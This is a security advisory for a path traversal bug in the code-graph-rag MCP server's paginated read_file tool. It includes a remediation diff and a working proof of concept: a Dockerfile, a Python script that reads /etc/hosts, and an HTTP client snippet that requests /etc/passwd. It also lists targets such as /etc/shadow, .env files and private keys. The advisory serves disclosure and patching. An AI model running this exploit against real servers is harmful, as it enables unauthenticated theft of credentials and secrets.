vitali87/code-graph-rag · Security

Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read

GHSA ID
GHSA-vvr2-h2jp-838m
CVE ID
CVE-2026-77604
Severity
high
Published
Updated
CVSS
7.5 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS v3
7.5 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Description

Summary

The read_file MCP tool in codebase_rag/mcp/tools.py contains a path traversal vulnerability in its paginated branch (when offset or limit is supplied). The handler constructs a file path using Path(self.project_root) / file_path without subsequently validating that the resolved path remains within the configured project root. Python's pathlib silently discards the left-hand component when the right-hand argument is an absolute path, allowing an attacker to read any UTF-8-readable file on the server by passing an absolute path such as /etc/passwd.

Details

Vulnerable location: codebase_rag/mcp/tools.py:556–565 (MCPToolsRegistry.read_file)

The read_file MCP tool accepts three parameters: file_path, offset, and limit. When either offset or limit is present the handler takes a distinct code path:

# codebase_rag/mcp/tools.py:556-565
async def read_file(
    self, file_path: str, offset: int | None = None, limit: int | None = None
) -> str:
    logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
    try:
        if offset is not None or limit is not None:
            full_path = Path(self.project_root) / file_path   # ← VULNERABLE LINE
            start = offset if offset is not None else 0

            with open(full_path, encoding=cs.ENCODING_UTF8) as f:   # ← SINK

Because pathlib.Path.__truediv__ replaces the left operand entirely when the right operand is an absolute path, any caller-supplied absolute path (e.g., /etc/passwd, /proc/self/environ) causes full_path to point outside the project root.

The non-paginated branch is protected by the @validate_project_path decorator (applied via codebase_rag/tools/file_reader.py:27) which performs .resolve().relative_to(project_root) (codebase_rag/decorators.py:73–75), but this decorator is never invoked in the paginated branch, leaving it completely unguarded.

Full data-flow (source → sink):

  1. codebase_rag/config.py:302 — HTTP MCP default host is 0.0.0.0.
  2. codebase_rag/cli.py:717 — CLI exposes mcp-server.
  3. codebase_rag/cli.py:726–731 — --transport http invokes serve_http(host=resolved_host, port=resolved_port).
  4. codebase_rag/mcp/server.py:208–210 — Starlette mounts the MCP HTTP endpoint.
  5. codebase_rag/mcp/tools.py:227–249 — read_file is registered as an MCP tool accepting attacker-controlled file_path, offset, and limit.
  6. codebase_rag/mcp/server.py:113–127 — call_tool dispatches JSON arguments directly to the handler via await handler(**arguments).
  7. codebase_rag/mcp/tools.py:561–565 — paginated branch builds full_path and calls open(full_path) without any boundary check.

The vulnerability is also present when using the stdio transport because the vulnerable code path does not depend on transport type; however, the attack is unauthenticated and network-accessible only when HTTP transport is configured.

PoC

Prerequisites:

  • Docker installed.
  • Repository cloned with the vuln-001/ artifacts present (Dockerfile, poc.py).

Build and run:

# From the repository root (parent of vuln-001/)
docker build -t vuln001-poc -f vuln-001/Dockerfile .
docker run --rm vuln001-poc

The Dockerfile installs the codebase_rag package from the local repository source, creates a "safe" project root at /tmp/safe-project-root, and runs poc.py.

What the PoC does (poc.py):

  1. Pre-mocks the mgclient / pymgclient native C extensions (Memgraph client) so the package imports without a live database.
  2. Instantiates MCPToolsRegistry via object.__new__(), setting only self.project_root = "/tmp/safe-project-root" — matching what the real server does.
  3. Demonstrates the pathlib bypass: Path("/tmp/safe-project-root") / "/etc/hosts" resolves to Path("/etc/hosts").
  4. Calls registry.read_file("/etc/hosts", offset=0, limit=5) — the actual vulnerable method from the installed package.
  5. Asserts that real /etc/hosts content is returned, confirming full boundary bypass.

Expected output:

[MCP] read_file: /etc/hosts (offset=0, limit=5)
[+] CONFIRMED: pathlib discards project_root when file_path is absolute
[+] read_file() returned:
# Lines 1-5 of 7
127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::	ip6-localnet
ff00::	ip6-mcastprefix
ff02::1	ip6-allnodes
[+] EXPLOIT SUCCESSFUL
[+] Content of '/etc/hosts' exfiltrated via path traversal
[+] Project root boundary '/tmp/safe-project-root' was completely bypassed
[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal

Equivalent HTTP transport attack (when server is running):

python3 - <<'PY'
import anyio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client

async def main():
    async with streamablehttp_client("http://127.0.0.1:8080/mcp") as (read, write, _):
        async with ClientSession(read, write) as session:
            await session.initialize()
            result = await session.call_tool(
                "read_file",
                {"file_path": "/etc/passwd", "offset": 0, "limit": 10},
            )
            print(result.content[0].text)

anyio.run(main)
PY

Remediation:

--- a/codebase_rag/mcp/tools.py
+++ b/codebase_rag/mcp/tools.py
@@
     async def read_file(
         self, file_path: str, offset: int | None = None, limit: int | None = None
     ) -> str:
         logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
         try:
             if offset is not None or limit is not None:
-                full_path = Path(self.project_root) / file_path
+                project_root = Path(self.project_root).resolve()
+                try:
+                    full_path = (project_root / file_path).resolve()
+                    full_path.relative_to(project_root)
+                except (ValueError, RuntimeError):
+                    return te.ERROR_WRAPPER.format(
+                        message=lg.FILE_OUTSIDE_ROOT.format(action="access")
+                    )
                 start = offset if offset is not None else 0

                 with open(full_path, encoding=cs.ENCODING_UTF8) as f:

Impact

This is a path traversal / arbitrary file read vulnerability. Any network-accessible instance of the MCP HTTP server is impacted; no authentication is required in the default configuration.

An unauthenticated remote attacker can read any file on the server filesystem that is readable by the process running cgr mcp-server. Exploitable targets include:

  • /etc/passwd, /etc/shadow — credential disclosure.
  • Application secrets, API keys, .env files, or private keys stored anywhere on the host.
  • Source code or configuration outside the intended project repository.
  • Cloud instance metadata endpoints reachable via the local file path (e.g., /proc/self/environ for environment variable leakage).

The vulnerability is particularly severe because the HTTP transport binds to 0.0.0.0:8080 by default (codebase_rag/config.py:302), exposing the server to the network without any authentication requirement in the default configuration.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

# Install build tools needed for some dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
        gcc build-essential \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the vulnerable repository source
COPY repo/ /app/repo/

# Install pure-Python dependencies (pymgclient is a native Memgraph client that
# requires a live Memgraph instance; we mock it in the PoC script instead)
RUN pip install --upgrade pip --quiet && \
    pip install --quiet \
        loguru \
        "mcp>=1.25.0" \
        "pydantic-ai>=1.102.0" \
        "pydantic-settings>=2.12.0" \
        "python-dotenv>=1.2.1" \
        "tiktoken>=0.12.0" \
        "toml>=0.10.2" \
        "tree-sitter==0.25.2" \
        "tree-sitter-python>=0.25.0" \
        "watchdog>=6.0.0" \
        "typer>=0.21.1" \
        "rich>=14.2.0" \
        "prompt-toolkit>=3.0.52" \
        "diff-match-patch>=20241021" \
        "click>=8.3.1" \
        "protobuf>=6.33.5" \
        "defusedxml>=0.7.1" \
        "huggingface-hub>=1.7.2" \
        "pathspec>=1.0.4" \
        "griffe>=1.0,<2" \
        httpx \
        anyio

# Install the codebase_rag package from the cloned repo.
# --no-deps skips pymgclient and tree-sitter grammar forks that are uv-specific;
# all other runtime deps were already installed above.
RUN pip install --no-deps --quiet -e /app/repo/

# Create the "safe" project root that the victim server would normally restrict to
RUN mkdir -p /tmp/safe-project-root && \
    echo "# This is a safe project file" > /tmp/safe-project-root/README.md

COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: MCP paginated read_file path traversal / arbitrary file read
=============================================================================
Repository : vitali87/code-graph-rag
Version    : <= 0.0.343 (unpatched at HEAD commit f5d6bfd)

Vulnerable code location:
    codebase_rag/mcp/tools.py  lines 561-565 (MCPToolsRegistry.read_file)

Root cause:
    When 'offset' or 'limit' is provided, the method builds the path as:
        full_path = Path(self.project_root) / file_path          # line 562
    Python's pathlib discards 'project_root' when 'file_path' is an absolute path.
    The non-paginated branch is protected by @validate_project_path, but this branch
    has no such guard, so any absolute path is opened unconditionally.

Attack path (HTTP transport):
    MCP client  ->  POST /mcp  ->  call_tool("read_file", {"file_path": "/etc/hosts",
                                               "offset": 0, "limit": 5})
    -> MCPToolsRegistry.read_file("/etc/hosts", offset=0, limit=5)
    -> full_path = Path("/safe/root") / "/etc/hosts"  ==>  Path("/etc/hosts")
    -> open("/etc/hosts")  # no boundary check, file content returned

This PoC exercises the actual MCPToolsRegistry.read_file() method from the
installed package.  The Memgraph client (mgclient) is pre-mocked in sys.modules
because it is a native C extension that requires a live database; it is NOT used
by the vulnerable code path.  The MCPToolsRegistry instance is created via
object.__new__() to skip the __init__ that would connect to Memgraph -- the
paginated read_file branch only reads self.project_root, nothing else.
"""

import asyncio
import sys
from pathlib import Path
from unittest.mock import MagicMock

# ---------------------------------------------------------------------------
# Step 1: Pre-mock native dependencies that are irrelevant to the vuln path
# ---------------------------------------------------------------------------
# mgclient is a C extension (Memgraph client).  It is imported at the top of
# codebase_rag/services/graph_service.py.  Inserting a MagicMock lets the
# module import succeed without a native library or a live Memgraph server.
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()

# ---------------------------------------------------------------------------
# Step 2: Import the vulnerable class from the installed package
# ---------------------------------------------------------------------------
print("[*] Importing MCPToolsRegistry from installed codebase_rag package ...")
try:
    from codebase_rag.mcp.tools import MCPToolsRegistry
except Exception as exc:
    print(f"[!] Import failed: {exc}")
    sys.exit(2)
print("[+] Import successful\n")

# ---------------------------------------------------------------------------
# Step 3: Build a minimal MCPToolsRegistry instance (bypassing __init__)
# ---------------------------------------------------------------------------
# __init__ connects to Memgraph and Qdrant -- neither is available here.
# The paginated read_file branch uses ONLY self.project_root, so setting
# just that attribute is sufficient to reproduce the vulnerability.
SAFE_ROOT = "/tmp/safe-project-root"

registry = object.__new__(MCPToolsRegistry)
registry.project_root = SAFE_ROOT

print(f"[*] MCPToolsRegistry instance created via object.__new__()")
print(f"[*] project_root = {SAFE_ROOT!r}")
print()

# ---------------------------------------------------------------------------
# Step 4: Demonstrate the pathlib absolute-path bypass
# ---------------------------------------------------------------------------
ATTACK_PATH = "/etc/hosts"

joined = Path(SAFE_ROOT) / ATTACK_PATH
print("[*] Pathlib join behaviour (the root cause):")
print(f"    Path({SAFE_ROOT!r}) / {ATTACK_PATH!r}")
print(f"    => {joined}")
print(f"    Expected (safe) path: {SAFE_ROOT + ATTACK_PATH}")

assert str(joined) == ATTACK_PATH, (
    f"Unexpected pathlib behaviour: expected {ATTACK_PATH!r}, got {joined!r}"
)
print("[+] CONFIRMED: pathlib discards project_root when file_path is absolute\n")

# ---------------------------------------------------------------------------
# Step 5: Call the actual vulnerable method
# ---------------------------------------------------------------------------
print(f"[*] Calling registry.read_file({ATTACK_PATH!r}, offset=0, limit=5)")
print(f"[*] Executing vulnerable line: full_path = Path(self.project_root) / file_path")
print(f"[*] Resulting full_path       = {joined}")
print()


async def run_poc() -> str:
    return await registry.read_file(ATTACK_PATH, offset=0, limit=5)


result = asyncio.run(run_poc())

print("[+] read_file() returned:")
print("-" * 60)
print(result)
print("-" * 60)
print()

# ---------------------------------------------------------------------------
# Step 6: Validate the output contains real /etc/hosts content
# ---------------------------------------------------------------------------
with open(ATTACK_PATH) as fh:
    actual_hosts = fh.read()

# Accept any of: pagination header, loopback address, or raw /etc/hosts lines
confirmed = (
    "Lines " in result                             # pagination header present
    or "127.0.0.1" in result                       # standard loopback entry
    or "localhost" in result                        # standard hostname entry
    or "::1" in result                             # IPv6 loopback
    or any(
        line.strip() in result
        for line in actual_hosts.splitlines()
        if line.strip() and not line.startswith("#")
    )
)

if confirmed:
    print("[+] EXPLOIT SUCCESSFUL")
    print(f"[+] Content of '{ATTACK_PATH}' exfiltrated via path traversal")
    print(f"[+] Project root boundary '{SAFE_ROOT}' was completely bypassed")
    print()
    print("[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal")
    sys.exit(0)
else:
    print("[-] Validation failed -- could not find /etc/hosts content in result")
    print(f"[-] Returned value: {result!r}")
    sys.exit(1)

CWEs

References